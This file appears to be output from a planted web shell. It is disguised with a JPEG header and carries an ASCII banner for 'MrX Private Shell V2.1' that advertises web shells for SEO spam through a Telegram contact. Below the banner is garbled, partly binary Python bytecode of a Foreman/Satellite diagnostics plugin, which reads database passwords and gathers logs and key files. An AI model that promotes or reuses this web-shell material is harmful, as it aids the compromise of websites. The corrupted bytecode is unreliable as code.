����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
G%@iH � @ sn d dl mZ d dlmZ d dlmZmZmZmZm Z G dd� de�Z
G dd� de
e�ZG dd � d e
ee�Zd
S )� )�match)�quote)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPlugin� PluginOptc @ s� e Zd ZdZdZdZdZdZdZdZ dZ
d Zd
d iZe
ddd
d�e
dddd�e
dddd�e
dddd�gZdZdd� Zdd� Zdd� Zdd� Zd$d d!�Zd"d#� ZdS )%�Foremanz$Foreman/Satellite systems management�foremani )Zsysmgmt)r
NZ localhosti8 � �
PGPASSWORD�days� z!number of days for dynflow output)�defaultZdesc�
proxyfeaturesFz!collect features of smart proxies�puma-gczcollect Puma GC stats� cvfiltersz'collect content view filters definitionz/pumactl %s -S /usr/share/foreman/tmp/puma.statec C s d}z�d}t |ddd��}|�� �� }W d � n1 s:0 Y |D ]�}|rH|d dkr^qH|�d�rnd }qH|r�td
|�r�|�� d | _|r�td|�r�|�� d | _|r�td
|�r�|�� d | _|�d�sHd}qHW n t y� Y n0 | j�d��r| j�
d��s | j�d��r0| j�
d��r0| jdd� | _d| ji| _| �ddddd�� | �
ddg� | �d�d }|�� }| �d�d }|�� }| jdd| j� d�gdd � | �d!d"d#d$d%d&d'd(d)d*d+d,d-d.d| j� d/�d| j� d0�d| j� d1�d2| j� d3�d2| j� d4�d| j� d5�g� | �d6d7d8d9d:d;|� �d;|� �d<g� | jg d=�d d>� | jd?d@dA� | jdBdCdDdE� | jdFdGdA� | jdHdIdA� | jdJdK� | �dL��r�| j| jdM dNdA� | j| jdO dPdA� | �dQ� | �dR�}| j|dS| jdT� | �� | �� | �dU��r| �� d S )VNFz/etc/foreman/database.yml�rzUTF-8)�encodingr �#zproduction:Tz\s+host:\s+\S+� z\s+port:\s+\S+z\s+password:\s+\S+� �"�'���r Zforeman_production_logZforeman_tasks_configZforeman_ssl_access_ssl_log)z!/var/log/foreman/production.log.*z/etc/sysconfig/foreman-tasks�/etc/sysconfig/dynflowdz)/var/log/httpd/foreman-ssl_access_ssl.logz/etc/foreman/*key.pemz/etc/foreman/encryption_key.rb�hostname�outputzhostname -fz/var/log/foreman/production.logz /var/log/z*/foreman-ssl_*_ssl.logi� )� sizelimitz
/etc/foreman/z/etc/sysconfig/foremanr z/etc/default/foremanz&/var/log/foreman/dynflow_executor*log*z*/var/log/foreman/dynflow_executor*.output*z#/var/log/foreman/apipie_cache*.log*z/var/log/foreman/cron*.log*z /var/log/foreman/db_migrate*log*z/var/log/foreman/db_seed*log*z$/var/log/foreman/production.log[.-]*z$/var/log/foreman-selinux-install.logz&/var/log/foreman-proxy-certs-generate*z/usr/share/foreman/Gemfile*z
*/foreman*z&*/katello-reverse-proxy_error_ssl.log*z*/error_log*z/etc/z*/conf/z */conf.d/z'*/katello-reverse-proxy_access_ssl.log*zforeman-selinux-relabel -nvzpassenger-status --show poolz passenger-status --show requestsz"passenger-status --show backtraceszpassenger-memory-statsz
ping -c1 -W1 zping -c1 -W1 localhost)z/root/ssl-buildz/usr/share/foreman/config/hooksz"/var/lib/foreman/red_hat_inventory)� recursivez�qpid-stat -b amqps://localhost:5671 -q --ssl-certificate=/etc/pki/katello/qpid_router_client.crt --ssl-key=/etc/pki/katello/qpid_router_client.key --sasl-mechanism=ANONYMOUSzqpid-stat_-q)�suggest_filenamezhammer pingZhammer_ping�x )�tags�timeoutzsystemctl list-units dynflow*Z
dynflow_unitsz!"system-dynflow\x2dsidekiq.slice"Zdynflow_sidekiq_statuszdynflow-sidekiq@*)Zunitsr zgc-statszpumactl_gc-statsZstatsZ
pumactl_statsz/usr/sbin/foreman-puma-statusa[ SELECT table_name, pg_size_pretty(total_bytes) AS total, pg_size_pretty(index_bytes) AS INDEX , pg_size_pretty(toast_bytes) AS toast, pg_size_pretty(table_bytes) AS TABLE FROM ( SELECT *, total_bytes-index_bytes-COALESCE(toast_bytes,0) AS table_bytes FROM (SELECT c.oid,nspname AS table_schema, relname AS TABLE_NAME, c.reltuples AS row_estimate, pg_total_relation_size(c.oid) AS total_bytes, pg_indexes_size(c.oid) AS index_bytes, pg_total_relation_size(reltoastrelid) AS toast_bytes FROM pg_class c LEFT JOIN pg_namespace n ON n.oid = c.relnamespace WHERE relkind = 'r') a) a order by total_bytes DESCZforeman_db_tables_sizes)r �envr )�open�read�
splitlines�
startswithr �split�dbhost�dbport�dbpasswd�IOError�endswithr$ �
add_file_tagsZadd_forbidden_path�exec_cmd�stripZ
add_copy_spec� apachepkg�add_cmd_outputZadd_dir_listingZadd_service_statusZadd_journal�
get_option�pumactl�build_query_cmd�collect_foreman_db�collect_proxies�collect_cv_filters) �selfZproduction_scopeZ
foreman_db�dfileZ
foreman_lines�lineZ _hostnameZ_host_f�_cmd� r>